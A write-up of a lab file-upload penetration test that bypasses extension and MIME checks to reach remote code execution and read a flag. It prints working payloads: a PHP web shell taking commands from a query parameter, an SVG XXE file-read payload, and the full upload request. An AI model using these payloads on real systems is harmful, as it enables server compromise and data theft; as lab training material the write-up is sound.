Skills Assessment
Task
You are contracted to perform a penetration test for a company’s e-commerce web application. The web application is in its early stages, so you will only be testing any file upload forms you can find.
Try to utilize what you learned in this module to understand how the upload form works and how to bypass various validations in place (if any) to gain remote code execution on the back-end server.
Try to note down the main security issues found with the web application and the necessary security measures to mitigate these issues and prevent further exploitation.
Try to exploit the upload form to read the flag found at the root directory “/”.
Attempt
I uploaded the file I created during the module file_upload.phar.jpg
, which uses double extension and contains a web shell:
GIF8
<?php system('cat /flag.txt'); ?>
Its MIME type imitates gif too. But I got this error message only images are allowed
. I guess it only accepts the files that have certain MIME types.
So I changed the file to a benign one and using burp I started fuzzing the content type header with the seclist wordlist /Discovery/Web-Content/web-all-content-types.txt
. But it took forever to complete the fuzzing so I selected the file types that contain image
.
Since the list shouldn’t be huge I just copied the text to clipboard:
cat /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt | grep image | xclip -se c
(Retrospectively this should be image/
not image
as the latter contains disk-image
and such)
I found image/jpg
, image/jpeg
, image/png
, and image/svg+xml
are allowed. Since embedding php code to image files didn’t work, I chose svg so that I don’t need to spoof the MIME type.
I tweaked a payload from PayloadsAllTheThings:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Saved it as svg_xxe.jpg
and uploaded it.
Decoded result:
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
Now I know the directory is ./user_feedback_submissions/
and also it renames the filename ymd_
.
Here is how ymd works:
$today = date("Ymd"); // 20010310
So the path would be /user_feedback_submissions/20250308_filename.jpg
.
I noticed as long as I keep the MIME type I can insert whatever php code I want too:
POST /contact/upload.php HTTP/1.1
Host: 83.136.249.46:57285
Content-Length: 552
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAmD4u3YUpBBM5yoZ
Origin: http://83.136.249.46:57285
Referer: http://83.136.249.46:57285/contact/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
------WebKitFormBoundaryAmD4u3YUpBBM5yoZ
Content-Disposition: form-data; name="uploadFile"; filename="svg_xxe.phar.jpg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryAmD4u3YUpBBM5yoZ--
Remember to change the file name to include phar
so that php code runs.
I noticed the code used was ymd
not Ymd
and it gave me 250308
. So I accessed http://83.136.249.46:57285/contact/user_feedback_submissions/250308_svg_xxe.phar.jpg?cmd=ls+/
and confirmed a web shell worked.
Found the flag file flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
. Read the file and done.